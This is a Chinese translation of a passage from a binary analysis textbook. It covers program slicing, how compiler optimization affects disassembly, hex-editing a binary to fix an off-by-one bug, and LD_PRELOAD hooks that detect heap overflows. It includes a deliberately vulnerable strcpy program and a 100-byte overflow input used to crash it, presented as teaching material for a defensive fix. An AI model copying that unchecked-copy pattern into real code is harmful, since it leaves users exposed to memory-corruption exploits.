乍一看,计算使用-定义链(use-def chain)可能会显得复杂。但在有了控制流图(CFG)的达成定义分析之后,利用in集来查找可能到达基本块的该变量的定义,计算基本块中变量的使用-定义链就变得相当简单。除了使用-定义链,还可以计算定义-使用链。与使用-定义链相反,定义-使用链告诉你程序中某个数据定义可能在哪些地方被使用。

程序切片

切片是一种数据流分析方法,旨在提取在程序某一特定点(称为切片标准)对一组选定变量的值有贡献的所有指令(或者,对于基于源代码的分析,是指源代码的所有行)。这在调试时非常有用,尤其是当你想找出哪些代码部分可能是导致 bug 的原因,也适用于逆向工程。计算切片可能非常复杂,它仍然是一个活跃的研究课题,而不是生产就绪的技术。尽管如此,它仍然是一个有趣的技术,值得了解。在这里,我将简单介绍它的基本思想,如果你想深入体验切片,我建议你查看 angr 逆向工程框架,^(17),它提供了内置的切片功能。你还可以在第十三章中看到如何通过符号执行实现一个实用的切片工具。

切片是通过跟踪控制流和数据流来计算的,以找出哪些代码部分与切片无关,然后删除这些部分。最终的切片是删除所有无关代码后剩下的部分。例如,假设你想知道示例 6-10 中哪些行对第 14 行的y值有贡献。

示例 6-10:使用切片来查找对 y 在第 14 行的贡献行

1:  x = int(argv[0])
2:  y = int(argv[1])
3:
4:  z = x +   y
5:  while(x   <  5) {
6:    x = x   +  1
7:    y = y   +  2
8:    z = z   +  x
9:    z = z   +  y
10:   z = z  *   5
11: }
12:
13: print(x)
14: print(y)
15: print(z)

该切片包含代码中阴影灰色的行。请注意,所有对z的赋值与切片完全无关,因为它们对y的最终值没有影响。x的变化是相关的,因为它决定了第 5 行的循环迭代次数,这反过来又影响了y的值。如果你只编译切片中包含的行,print(y)语句的输出将与完整程序的输出完全相同。

最初,切片是作为静态分析提出的,但现在它通常应用于动态执行跟踪。动态切片的优势在于,它通常比静态切片产生更小(因此更易读)的切片。

你刚才看到的被称为 反向切片,因为它是从后向前搜索影响所选切片标准的行。但也有 正向切片,它从程序中的某个点开始,向前搜索以确定其他哪些代码部分会受到所选切片标准中的指令和变量的影响。除此之外,它还可以预测代码中的哪些部分会受到所选点上代码更改的影响。

6.5 编译器设置对反汇编的影响

编译器优化代码以最小化其大小或执行时间。不幸的是,优化后的代码通常比未优化的代码更难以精确反汇编(因此也更难分析)。

优化后的代码与原始源代码的对应关系较少,这使得它对人类的直观性降低。例如,在优化算术代码时,编译器会尽量避免非常慢的 muldiv 指令,而是通过一系列位移和加法操作来实现乘法和除法。逆向工程时,这些操作可能会很难解读。

此外,编译器经常将小函数合并到调用它们的较大函数中,以避免 call 指令的开销;这种合并被称为 内联。因此,你在源代码中看到的并不一定都是二进制文件中存在的函数,至少它们不会作为单独的函数存在。此外,常见的函数优化,例如尾调用和优化的调用约定,会使得函数检测的准确性大大降低。

在较高的优化级别下,编译器通常会在函数和基本块之间插入填充字节,以便将它们对齐到可以最有效访问的内存地址。将这些填充字节误解释为代码可能会导致反汇编错误,尤其是当这些填充字节不是有效指令时。此外,编译器可能会“展开”循环,以避免跳转到下一次迭代的开销。这会妨碍循环检测算法和反编译器,后者试图在代码中找到类似 whilefor 循环的高级结构。

优化还可能妨碍数据结构检测,而不仅仅是代码发现。例如,优化后的代码可能同时使用相同的基址寄存器来索引不同的数组,这使得很难将它们识别为独立的数据结构。

如今,链接时优化 (LTO) 越来越受到欢迎,这意味着传统上在每个模块基础上应用的优化现在可以用于整个程序。这增加了许多优化的优化面,使得效果更加深远。

在编写和测试自己的二进制分析工具时,务必记住,优化后的二进制文件可能会影响工具的准确性。

除了之前提到的优化方法之外,二进制文件越来越多地被编译为位置无关代码(PIC),以适应像地址空间布局随机化(ASLR)这样的安全功能,这些功能需要能够在不破坏二进制文件的情况下移动代码和数据。^(18) 使用 PIC 编译的二进制文件称为位置无关可执行文件(PIE)。与位置依赖的二进制文件相比,PIE 二进制文件不会使用绝对地址来引用代码和数据。相反,它们使用相对于程序计数器的引用。这也意味着一些常见的结构,比如 ELF 二进制文件中的 PLT,在 PIE 二进制文件中与非 PIE 二进制文件中的表现不同。因此,那些没有考虑到 PIC 的二进制分析工具,可能无法正确处理这种二进制文件。

6.6 总结

你现在已经了解了反汇编器的内部工作原理,以及理解本书其余部分所需的基本二进制分析技术。现在你已经准备好继续学习一些技术,不仅能够反汇编二进制文件,还能修改它们。让我们从第七章开始,学习基本的二进制修改技术!

练习

1. 欺骗 objdump

编写一个程序,欺骗objdump,使其将数据解读为代码,或者将代码解读为数据。你可能需要使用一些内联反汇编来实现这一点(例如,使用gccasm关键字)。

2. 欺骗递归反汇编器

编写另一个程序,这次让它欺骗你最喜欢的递归反汇编器的函数检测算法。实现这一点有多种方法。例如,你可以创建一个尾调用函数,或者一个带有多个返回情况的switch函数。看看你能让反汇编器困惑到什么程度!

3. 改进函数检测

为你选择的递归反汇编器编写一个插件,使其能够更好地检测诸如在之前练习中未能检测到的函数。你需要一个可以为其编写插件的递归反汇编器,例如 IDA Pro、Hopper 或 Medusa。

第七章:ELF 的简单代码注入技术

在本章中,你将学习几种将代码注入现有 ELF 二进制文件的技术,这些技术可以让你修改或增强二进制文件的行为。尽管本章讨论的技术对于进行小规模修改非常方便,但它们的灵活性较差。本章将展示这些技术的局限性,以便你理解更全面的代码修改技术的必要性,这些技术你将在第九章中学习到。

7.1 使用十六进制编辑进行裸金属二进制修改

修改现有二进制文件最直接的方法是使用十六进制编辑器,这是一种以十六进制格式表示二进制文件字节并允许你编辑这些字节的程序。通常,你会先使用反汇编工具识别你想要更改的代码或数据字节,然后再使用十六进制编辑器进行更改。

这种方法的优点在于它简单,只需要基本的工具。缺点是它仅支持就地编辑:你可以更改代码或数据字节,但不能添加任何新的内容。插入新的字节会导致后面的所有字节移到另一个地址,从而破坏对这些字节的引用。由于在链接阶段之后通常会丢弃所需的重定位信息,因此很难(甚至不可能)正确识别和修复所有损坏的引用。如果二进制文件中包含任何填充字节、死代码(如未使用的函数)或未使用的数据,你可以用新内容覆盖这些部分。然而,由于大多数二进制文件中没有很多可以安全覆盖的死字节,这种方法是有限制的。

然而,在某些情况下,十六进制编辑可能是你所需要的一切。例如,恶意软件使用反调试技术来检查它运行的环境是否存在分析软件的痕迹。如果恶意软件怀疑自己正在被分析,它会拒绝运行或攻击分析环境。当你分析一个恶意软件样本并怀疑它包含反调试检查时,你可以使用十六进制编辑禁用这些检查,将检查部分覆盖为nop(无操作)指令。有时,你甚至可以通过十六进制编辑器修复程序中的简单错误。为了向你展示一个例子,我将使用名为hexedit的十六进制编辑器,它是一个开源编辑器,已在虚拟机上预安装,用于修复一个简单程序中的越界错误。

寻找正确的操作码

当你在二进制文件中编辑代码时,你需要知道要插入哪些值,为此,你需要了解机器指令的格式和十六进制编码。网上有很多关于 x86 指令的操作码和操作数格式的有用概览,例如ref.x86asm.net。如果你需要更详细的信息来了解某个 x86 指令如何工作,可以查阅官方的英特尔手册。^a

a. software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf

7.1.1 观察越界错误的实际表现

越界错误 通常发生在循环中,当程序员使用了错误的循环条件,导致循环读取或写入少了一个字节或多了一个字节。列表 7-1 中的示例程序加密一个文件,但由于越界错误,不小心将最后一个字节未加密。为了解决这个问题,我将首先使用 objdump 反汇编二进制文件并定位到出错的代码。然后我会使用 hexedit 编辑该代码并去除越界错误。

列表 7-1: xor_encrypt.c

   #include  <stdio.h>
   #include  <stdlib.h>
   #include  <string.h>
   #include  <stdarg.h>

   void
   die(char const *fmt, ...)
   {
     va_list args;

     va_start(args, fmt);
     vfprintf(stderr, fmt, args);
     va_end(args);

     exit(1);
   }

   int
   main(int argc, char *argv[])
   {
     FILE *f;
     char *infile, *outfile;
     unsigned char *key, *buf;
     size_t i, j, n;

     if(argc != 4)
       die("Usage: %s <in file> <out file> <key>\n", argv[0]);

     infile  = argv[1];
     outfile = argv[2];
     key     = (unsigned char*)argv[3];

➊   f = fopen(infile, "rb");
     if(!f) die("Failed to open file '%s'\n", infile);

➋   fseek(f, 0, SEEK_END);
     n = ftell(f);
     fseek(f, 0, SEEK_SET);

➌   buf = malloc(n);
     if(!buf) die("Out of memory\n");

➍   if(fread(buf, 1, n, f) != n)
       die("Failed to read file '%s'\n", infile);

➎   fclose(f); j = 0;
➏   for(i = 0; i < n-1; i++) { /* Oops! An off-by-one error! */
       buf[i] ^= key[j];
       j = (j+1) % strlen(key);
     }

➐   f = fopen(outfile, "wb");
    if(!f) die("Failed to open file '%s'\n", outfile);

➑   if(fwrite(buf, 1, n, f) != n)
       die("Failed to write file '%s'\n", outfile);

➒   fclose(f);

     return 0;
  }

在解析命令行参数后,程序打开要加密的输入文件 ➊,确定文件大小并将其存储在名为 n 的变量中 ➋,分配一个缓冲区 ➌ 用来存储文件,读取整个文件到缓冲区 ➍,然后关闭文件 ➎。如果在过程中出现任何问题,程序会调用 die 函数打印适当的错误信息并退出。

错误发生在程序的下一个部分,该部分使用简单的 xor 算法加密文件字节。程序进入一个 for 循环,遍历包含所有文件字节的缓冲区,并通过与提供的密钥 ➏ 做 xor 运算来加密每个字节。注意 for 循环的循环条件:循环从 i = 0 开始,但仅当 i < n-1 时才会继续。这意味着最后一个加密的字节位于缓冲区的索引 n-2 处,因此最后一个字节(索引为 n-1)未被加密!这就是越界错误,我们将使用十六进制编辑器来修复它。

在加密文件缓冲区后,程序打开一个输出文件 ➐,将加密后的字节写入文件 ➑,最后关闭输出文件 ➒。列表 7-2 显示了程序的示例运行(使用虚拟机中提供的 Makefile 编译),可以看到程序中存在越界错误的实际情况。

列表 7-2:观察 xor_encrypt 程序中的越界错误

➊  $ ./xor_encrypt xor_encrypt.c encrypted foobar
➋  $ xxd xor_encrypt.c | tail
   000003c0: 6420 746f 206f 7065 6e20 6669 6c65 2027  d to open file '
   000003d0: 2573 275c 6e22 2c20 6f75 7466 696c 6529  %s'\n", outfile)
   000003e0: 3b0a 0a20 2069 6628 6677 7269 7465 2862  ;.. if(fwrite(b
   000003f0: 7566 2c20 312c 206e 2c20 6629 2021 3d20  uf, 1, n, f) !=
   00000400: 6e29 0a20 2020 2064 6965 2822 4661 696c  n).    die("Fail
 00000410: 6564 2074 6f20 7772 6974 6520 6669 6c65  ed to write file
   00000420: 2027 2573 275c 6e22 2c20 6f75 7466 696c  '%s'\n", outfil
   00000430: 6529 3b0a 0a20 2066 636c 6f73 6528 6629  e);.. fclose(f)
   00000440: 3b0a 0a20 2072 6574 7572 6e20 303b 0a7d  ;..   return 0;.}
   00000450: 0a➌0a                             ..
➍  $ xxd encrypted | tail
   000003c0: 024f 1b0d 411d 160a 0142 071b 0a0a 4f45  .O..A....B....OE
   000003d0: 4401 4133 0140 4d52 091a 1b04 081e 0346  D.A3.@MR.......F
   000003e0: 5468 6b52 4606 094a 0705 1406 1b07 4910  ThkRF..J......I.
   000003f0: 1309 4342 505e 4601 4342 075b 464e 5242  ..CBP![image](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/prac-bin-anls/img/page_159_inline.jpg).CB.[FNRB
   00000400: 0f5b 6c4f 4f42 4116 0f0a 4740 2713 0f03  .[lOOBA...G@'...
   00000410: 0a06 4106 094f 1810 0806 034f 090b 0d17  ..A..O.....O....
   00000420: 4648 4a11 462e 084d 4342 0e07 1209 060e  FHJ.F..MCB......
   00000430: 045b 5d65 6542 4114 0503 0011 045a 0046  .[]eeBA......Z.F
   00000440: 5468 6b52 461d 0a16 1400 084f 5f59 6b0f  ThkRF......O_Yk.
   00000450: 6c➎0a                                    l.

在这个示例中,我使用 xor_encrypt 程序用密钥 foobar 加密了它自己的源文件,并将输出写入名为 encrypted 的文件 ➊。使用 xxd 查看原始源文件的内容 ➋,你会看到它以字节 0x0a 结尾 ➌。在加密后的文件中,所有字节都被破坏了 ➍,除了最后一个字节,它与原文件中的字节相同 ➎。这是因为越界错误导致最后一个字节没有被加密。

7.1.2 修复越界错误

现在让我们看看如何修复二进制文件中的越界错误。在本章的所有示例中,你可以假装没有二进制文件的源代码,尽管实际上你是有的。这是为了模拟现实中你被迫使用二进制修改技术的情况,比如你正在处理专有或恶意程序,或者源代码丢失的程序。

查找导致错误的字节

要修复越界错误,你需要更改循环条件,使其多循环一次以加密最后一个字节。因此,你首先需要反汇编二进制文件,找到负责强制执行循环条件的指令。清单 7-3 包含了相关的指令,正如 objdump 所显示的那样。

清单 7-3:显示越界错误的反汇编代码

  $ objdump -M intel -d xor_encrypt
  ...
  4007c2:  49 8d 45 ff             lea         rax,[r13-0x1]
  4007c6:  31 d2                   xor         edx,edx
  4007c8:  48 85 c0                test        rax,rax
  4007cb:  4d 8d 24 06             lea         r12,[r14+rax*1]
  4007cf:  74 2e                   je          4007ff <main+0xdf>
  4007d1:  0f 1f 80 00 00 00 00    nop         DWORD PTR [rax+0x0]
➊ 4007d8: 41 0f b6 04 17           movzx       eax,BYTE PTR [r15+rdx*1]
  4007dd:  48 8d 6a 01             lea         rbp,[rdx+0x1]
  4007e1:  4c 89 ff                mov         rdi,r15
  4007e4:  30 03                   xor         BYTE PTR [rbx],al
  4007e6:  48 83 c3 01            ➋add         rbx,0x1
  4007ea:  e8 a1 fe ff ff          call        400690 <strlen@plt>
  4007ef:  31 d2                   xor         edx,edx
  4007f1:  48 89 c1                mov         rcx,rax
  4007f4:  48 89 e8                mov         rax,rbp
  4007f7:  48 f7 f1                div         rcx
  4007fa:  49 39 dc               ➌cmp         r12,rbx
  4007fd:  75 d9                  ➍jne         4007d8 <main+0xb8>
  4007ff:  48 8b 7c 24 08          mov         rdi,QWORD PTR [rsp+0x8]
  400804:  be 66 0b 40 00          mov         esi,0x400b66
...

循环从地址 0x4007d8 ➊ 开始,循环计数器(i)存储在 rbx 寄存器中。你可以看到循环计数器在每次循环迭代时都会递增 ➋。你还可以看到一个 cmp 指令 ➌,它检查是否需要进行另一轮循环。cmpi(存储在 rbx)与值 n-1(存储在 r12)进行比较。如果需要进行另一轮循环,jne 指令 ➍ 会跳转回循环开始处。如果不需要,它会跳过,执行下一条指令,结束循环。

jne 指令表示“如果不相等则跳转”^(1):当 i 不等于 n-1(由 cmp 指令确定)时,它会跳转回循环的开始处。换句话说,由于 i 在每次循环迭代时都会递增,循环将会在 i < n-1 时运行。但为了修复越界错误,你希望循环在 i <= n-1 时运行,这样就能多循环一次。

替换有问题的字节

为了实现这个修复,你可以使用十六进制编辑器替换 jne 指令的操作码,将其改为另一种跳转指令。cmp 的第一个操作数是 r12(包含 n-1),后面是 rbx(包含 i)。因此,你应该使用 jae(“如果大于或等于则跳转”)指令,使得循环在 n-1 >= i 时继续运行,也就是相当于说 i <= n-1。现在你可以使用 hexedit 实现这个修复。

要跟着操作,请转到本章的代码文件夹,运行 Makefile,然后在命令行中输入 hexedit xor_encrypt 并按 ENTER 以在十六进制编辑器中打开 xor_encrypt 二进制文件(这是一个交互式程序)。要查找需要修改的特定字节,你可以搜索来自反汇编器(如 objdump)的字节模式。在 Listing 7-3 中,你可以看到需要修改的 jne 指令被编码为十六进制字节串 75d9,所以你将搜索这个模式。在更大的二进制文件中,你可能需要使用更长的模式,可能包括其他指令的字节,以确保唯一性。要在 hexedit 中搜索模式,按 / 键。这将打开一个提示框,如 Figure 7-1 所示,你可以在其中输入搜索模式 75d9,然后按 ENTER 开始搜索。

image

Figure 7-1:使用 hexedit 搜索字节串

搜索会找到模式并将光标移到模式的第一个字节。参考 x86 操作码参考或英特尔 x86 手册,你可以看到 jne 指令被编码为一个操作码字节(0x75),后跟一个编码跳转位置偏移量的字节(0xd9)。为了这些目的,你只需要将 jne 操作码 0x75 替换为 jae 指令的操作码 0x73,而跳转偏移量保持不变。由于光标已经位于你想修改的字节上,编辑所需的只是输入新的字节值 73。在你输入时,hexedit 会用粗体突出显示修改过的字节值。现在,剩下的就是按 CTRL-X 退出并按 Y 确认更改来保存修改过的二进制文件。你现在已经修复了二进制文件中的越界错误!让我们通过再次使用 objdump 来确认这个更改,如 Listing 7-4 所示。

Listing 7-4:显示修复越界错误补丁的反汇编

$ objdump -M intel -d xor_encrypt.fixed
...
4007c2:  49 8d 45 ff              lea         rax,[r13-0x1]
4007c6:  31 d2                    xor         edx,edx
4007c8:  48 85 c0                 test        rax,rax
4007cb:  4d 8d 24 06              lea         r12,[r14+rax*1]
4007cf:  74 2e                    je          4007ff <main+0xdf>
4007d1:  0f 1f 80 00 00 00 00     nop         DWORD PTR [rax+0x0]
4007d8:  41 0f b6 04 17           movzx       eax,BYTE PTR [r15+rdx*1]
4007dd:  48 8d 6a 01              lea         rbp,[rdx+0x1]
4007e1:  4c 89 ff                 mov         rdi,r15
4007e4:  30 03                    xor         BYTE PTR [rbx],al
4007e6:  48 83 c3 01              add         rbx,0x1
4007ea:  e8 a1 fe ff ff           call        400690 <strlen@plt>
4007ef:  31 d2                    xor         edx,edx
4007f1:  48 89 c1                 mov         rcx,rax
4007f4:  48 89 e8                 mov         rax,rbp
4007f7:  48 f7 f1                 div         rcx
4007fa:  49 39 dc                 cmp         r12,rbx
4007fd:  73 d9                   ➊jae         4007d8 <main+0xb8>
4007ff:  48 8b 7c 24 08           mov         rdi,QWORD PTR [rsp+0x8]
400804:  be 66 0b 40 00           mov         esi,0x400b66
...

如你所见,原来的 jne 指令现在已被 jae ➊ 替换。为了检查修复是否有效,让我们再次运行程序,看它是否加密了最后一个字节。Listing 7-5 显示了结果。

Listing 7-5:修复后的 xor_encrypt 程序输出

➊ $ ./xor_encrypt xor_encrypt.c encrypted foobar
➋ $ xxd encrypted | tail
  000003c0: 024f 1b0d 411d 160a 0142 071b 0a0a 4f45 .O..A....B....OE
  000003d0: 4401 4133 0140 4d52 091a 1b04 081e 0346 D.A3.@MR.......F
  000003e0: 5468 6b52 4606 094a 0705 1406 1b07 4910 ThkRF..J......I.
  000003f0: 1309 4342 505e 4601 4342 075b 464e 5242 ..CBP.CB.[FNRB
  00000400: 0f5b 6c4f 4f42 4116 0f0a 4740 2713 0f03 .[lOOBA...G@'...
  00000410: 0a06 4106 094f 1810 0806 034f 090b 0d17 ..A..O.....O....
  00000420: 4648 4a11 462e 084d 4342 0e07 1209 060e FHJ.F..MCB......
  00000430: 045b 5d65 6542 4114 0503 0011 045a 0046 .[]eeBA......Z.F
  00000440: 5468 6b52 461d 0a16 1400 084f 5f59 6b0f ThkRF......O_Yk.
  00000450: 6c➌65                                   le

和之前一样,你运行 xor_encrypt 程序来加密它自己的源代码 ➊。回想一下,在原始源文件中,最后一个字节的值是 0x0a(见 Listing 7-2)。使用 xxd 检查加密文件 ➋,你可以看到即使是最后一个字节现在也已正确加密 ➌:它现在是 0x65 而不是 0x0a

现在你知道如何使用十六进制编辑器编辑二进制文件了!虽然这个例子很简单,但程序对于更复杂的二进制文件和编辑是相同的。

7.2 使用 LD_PRELOAD 修改共享库行为

十六进制编辑是一种修改二进制文件的好方法,因为它只需要基础工具,而且由于修改较小,编辑后的二进制文件通常与原始文件相比几乎没有性能或代码/数据大小的开销。然而,正如你在前一节的示例中看到的,十六进制编辑也很繁琐、容易出错并且有局限性,因为你不能添加新的代码或数据。如果你的目标是修改共享库函数的行为,使用 LD_PRELOAD 可以更轻松地实现。

LD_PRELOAD 是一个环境变量的名称,它会影响动态链接器的行为。它允许你指定一个或多个库,在任何其他库加载之前,包括像 libc.so 这样的标准系统库。如果一个预加载的库中包含与稍后加载的库中的某个函数同名的函数,那么运行时将使用第一个函数。这使得你可以用自己实现的版本 覆盖 库函数(即使是像 mallocprintf 这样的标准库函数)。这不仅对二进制修改有用,对于那些源代码可用的程序也很有帮助,因为修改库函数的行为可以避免你费力修改源代码中所有调用该库函数的地方。我们来看一个例子,说明 LD_PRELOAD 如何有助于修改二进制程序的行为。

7.2.1 堆溢出漏洞

我将在这个示例中修改的程序是 heapoverflow,它包含一个堆溢出漏洞,可以通过 LD_PRELOAD 来修复。示例 7-6 显示了程序的源代码。

示例 7-6: heapoverflow.c

  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>

  int
  main(int argc, char *argv[])
  {
    char *buf;
    unsigned long len;

    if(argc != 3) {
      printf("Usage: %s <len> <string>\n", argv[0]);
      return 1;
    }

➊   len = strtoul(argv[1], NULL, 0);
    printf("Allocating %lu bytes\n", len);

➋   buf = malloc(len);

     if(buf && len > 0) {
       memset(buf, 0, len);

➌     strcpy(buf, argv[2]);
       printf("%s\n", buf);

➍     free(buf);
    }

    return 0;
  }

heapoverflow 程序接受两个命令行参数:一个数字和一个字符串。它将给定的数字作为缓冲区的大小 ➊,然后使用 malloc ➋ 分配该大小的缓冲区。接下来,它使用 strcpy ➌ 将给定的字符串复制到缓冲区中,并将缓冲区的内容打印到屏幕上。最后,它使用 free ➍ 释放该缓冲区。

溢出漏洞出现在 strcpy 操作中:因为字符串的长度从未检查,所以它可能太大,无法放入缓冲区。如果是这种情况,复制操作将导致堆溢出,可能会破坏堆上的其他数据,并导致崩溃甚至利用程序漏洞。但如果给定的字符串可以适应缓冲区,一切都能正常工作,就像你在 示例 7-7 中看到的那样。

示例 7-7: heapoverflow 程序在输入正常时的行为

$ ./heapoverflow 13 'Hello world!'
Allocating 13 bytes
Hello world!

在这里,我告诉 heapoverflow 分配一个 13 字节的缓冲区,然后将消息“Hello world!”复制进去 ➊。程序分配了请求的缓冲区,将消息复制进去,并按预期将其打印到屏幕上,因为该缓冲区刚好足够大,能够容纳字符串,包括其终止的 NULL 字符。让我们检查 Listing 7-8,看看如果提供一个无法适应缓冲区的消息会发生什么。

Listing 7-8: 输入过长时 heapoverflow 程序崩溃

➊ $ ./heapoverflow 13 `perl -e 'print "A"x100'`
➋ Allocating 13 bytes
➌ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
➍ *** Error in `./heapoverflow': free(): invalid next size (fast): 0x0000000000a10420 ***
  ======= Backtrace: =========
  /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f19129587e5]
  /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f191296137a]
  /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f191296553c] ./heapoverflow[0x40063e]
  /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f1912901830]
  ./heapoverflow[0x400679]
  ======= Memory map: ========
  00400000-00401000 r-xp 00000000 fc:03 37226406          /home/binary/code/chapter7/heapoverflow
  00600000-00601000 r--p 00000000 fc:03 37226406          /home/binary/code/chapter7/heapoverflow
  00601000-00602000 rw-p 00001000 fc:03 37226406          /home/binary/code/chapter7/heapoverflow
  00a10000-00a31000 rw-p 00000000 00:00 0                 [heap]
  7f190c000000-7f190c021000 rw-p 00000000 00:00 0
  7f190c021000-7f1910000000 ---p 00000000 00:00 0
  7f19126cb000-7f19126e1000 r-xp 00000000 fc:01 2101767   /lib/x86_64-linux-gnu/libgcc_s.so.1
  7f19126e1000-7f19128e0000 ---p 00016000 fc:01 2101767   /lib/x86_64-linux-gnu/libgcc_s.so.1
  7f19128e0000-7f19128e1000 rw-p 00015000 fc:01 2101767   /lib/x86_64-linux-gnu/libgcc_s.so.1
  7f19128e1000-7f1912aa1000 r-xp 00000000 fc:01 2097475   /lib/x86_64-linux-gnu/libc-2.23.so
  7f1912aa1000-7f1912ca1000 ---p 001c0000 fc:01 2097475   /lib/x86_64-linux-gnu/libc-2.23.so
  7f1912ca1000-7f1912ca5000 r--p 001c0000 fc:01 2097475   /lib/x86_64-linux-gnu/libc-2.23.so
  7f1912ca5000-7f1912ca7000 rw-p 001c4000 fc:01 2097475   /lib/x86_64-linux-gnu/libc-2.23.so
  7f1912ca7000-7f1912cab000 rw-p 00000000 00:00 0
  7f1912cab000-7f1912cd1000 r-xp 00000000 fc:01 2097343   /lib/x86_64-linux-gnu/ld-2.23.so
  7f1912ea5000-7f1912ea8000 rw-p 00000000 00:00 0
  7f1912ecd000-7f1912ed0000 rw-p 00000000 00:00 0
  7f1912ed0000-7f1912ed1000 r--p 00025000 fc:01 2097343   /lib/x86_64-linux-gnu/ld-2.23.so
  7f1912ed1000-7f1912ed2000 rw-p 00026000 fc:01 2097343   /lib/x86_64-linux-gnu/ld-2.23.so
  7f1912ed2000-7f1912ed3000 rw-p 00000000 00:00 0
  7ffe66fbb000-7ffe66fdc000 rw-p 00000000 00:00 0         [stack]
  7ffe66ff3000-7ffe66ff5000 r--p 00000000 00:00 0         [vvar]
  7ffe66ff5000-7ffe66ff7000 r-xp 00000000 00:00 0         [vdso]
  ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
➎ Aborted (core dumped)

再次,我告诉程序分配 13 字节,但现在消息太大,无法适应缓冲区:它是一个包含 100 个 A 字符的字符串 ➊。程序如前所述分配了 13 字节的缓冲区 ➋,然后将消息复制进去并将其打印到屏幕上 ➌。然而,当调用 free 来释放缓冲区时出现问题 ➍:溢出的消息覆盖了堆上的元数据,这些元数据被 mallocfree 用来跟踪堆缓冲区。损坏的堆元数据最终导致程序崩溃 ➎。最坏的情况是,这种溢出可能使攻击者通过精心构造的溢出字符串接管易受攻击的程序。现在,让我们看看如何使用 LD_PRELOAD 来检测和防止溢出。

7.2.2 检测堆溢出

关键思路是实现一个共享库,重写 mallocfree 函数,使其在内部跟踪所有分配的缓冲区的大小,并且重写 strcpy,使其在复制任何内容之前自动检查缓冲区是否足够大以容纳字符串。请注意,为了示例的简单性,这个思路过于简化,不应在生产环境中使用。例如,它没有考虑到缓冲区大小可能通过 realloc 改变,并且使用了简单的记账方法,最多只能追踪最近 1,024 个分配的缓冲区。然而,它应该足以展示如何使用 LD_PRELOAD 来解决现实世界中的问题。Listing 7-9 显示了包含替代 malloc/free/strcpy 实现的库代码 (heapcheck.c)。

Listing 7-9: heapcheck.c

   #include  <stdio.h>
   #include  <stdlib.h>
   #include  <string.h>
   #include  <stdint.h>
➊ #include  <dlfcn.h>

➋ void* (*orig_malloc)(size_t);
   void (*orig_free)(void*);
   char* (*orig_strcpy)(char*, const char*);

➌ typedef struct {
      uintptr_t addr;
      size_t    size;
    } alloc_t;

    #define MAX_ALLOCS 1024

➍ alloc_t allocs[MAX_ALLOCS];
   unsigned alloc_idx = 0;

➎ void*
   malloc(size_t s)
   {
➏   if(!orig_malloc) orig_malloc = dlsym(RTLD_NEXT, "malloc");

➐  void *ptr = orig_malloc(s);
    if(ptr) {
      allocs[alloc_idx].addr = (uintptr_t)ptr;
      allocs[alloc_idx].size = s;
      alloc_idx = (alloc_idx+1) % MAX_ALLOCS;
    }

    return ptr;
   }

➑ void
   free(void *p)
   {
     if(!orig_free) orig_free = dlsym(RTLD_NEXT, "free");

     orig_free(p);
     for(unsigned i = 0; i < MAX_ALLOCS; i++) {
       if(allocs[i].addr == (uintptr_t)p) {
         allocs[i].addr = 0;
         allocs[i].size = 0;
         break;
       }
     }
   }

➒ char*
   strcpy(char *dst, const char *src)
   {
     if(!orig_strcpy) orig_strcpy = dlsym(RTLD_NEXT, "strcpy");

     for(unsigned i = 0; i < MAX_ALLOCS; i++) {
       if(allocs[i].addr == (uintptr_t)dst) {
➓       if(allocs[i].size <= strlen(src)) {
           printf("Bad idea! Aborting strcpy to prevent heap overflow\n");
           exit(1);
          }
          break;
        }
      }

      return orig_strcpy(dst, src);
   }

首先,注意到 dlfcn.h 头文件 ➊,当你编写供 LD_PRELOAD 使用的库时,通常会包含这个头文件,因为它提供了 dlsym 函数。你可以使用 dlsym 来获取共享库函数的指针。在这种情况下,我将使用它来访问原始的 mallocfreestrcpy 函数,以避免完全重新实现它们。有一组全局函数指针,用来跟踪通过 dlsym 找到的这些原始函数 ➋。

为了跟踪分配的缓冲区大小,我定义了一个名为 alloc_tstruct 类型,它可以存储缓冲区的地址和大小 ➌。我使用一个全局的圆形数组来存储这些结构,称为 allocs,用于跟踪最近的 1,024 次分配 ➍。

现在,让我们来看看修改后的malloc函数 ➎。它做的第一件事是检查指向原始(libc)版本的malloc的指针(我称之为orig_malloc)是否已经初始化。如果没有,它会调用dlsym来查找这个指针 ➏。

请注意,我在dlsym中使用了RTLD_NEXT标志,这会导致dlsym返回链中下一个版本的malloc的指针。当你预加载一个库时,它将位于链的开始。因此,dlsym返回指针的下一个版本的malloc将是原始的libc版本,因为libc会比你的预加载库晚加载。

接下来,修改后的malloc调用orig_malloc来执行实际的分配 ➐,然后将分配的缓冲区的地址和大小存储在全局allocs数组中。现在这些信息已经存储,strcpy以后可以检查是否可以安全地将字符串复制到给定的缓冲区中。

新版本的free与新的malloc类似。它简单地解析并调用原始的freeorig_free),然后在allocs数组中使已释放缓冲区的元数据无效 ➑。

最后,让我们看一下新的strcpy ➒。它首先解析原始的strcpyorig_strcpy)。然而,调用之前,它会检查通过在全局allocs数组中搜索一个条目来确认复制是否安全,该条目会告诉你目标缓冲区的大小。如果找到元数据,strcpy会检查缓冲区是否足够大以容纳字符串 ➓。如果是,它就允许复制。如果不是,它会打印错误消息并终止程序,以防止攻击者利用这个漏洞。请注意,如果没有找到元数据,因为目标缓冲区不是最近 1,024 次分配之一,strcpy会允许复制。实际上,你可能希望通过使用更复杂的数据结构来跟踪元数据,避免这种情况,这种结构不限于 1,024 个(或任何硬限制的)分配。

清单 7-10 展示了如何在实践中使用heapcheck.so库。

清单 7-10:使用 heapcheck.so 库来防止堆溢出

   $ ➊LD_PRELOAD=`pwd`/heapcheck.so ./heapoverflow 13 `perl -e 'print "A"x100'`
   Allocating 13 bytes
➋ Bad idea! Aborting strcpy to prevent heap overflow

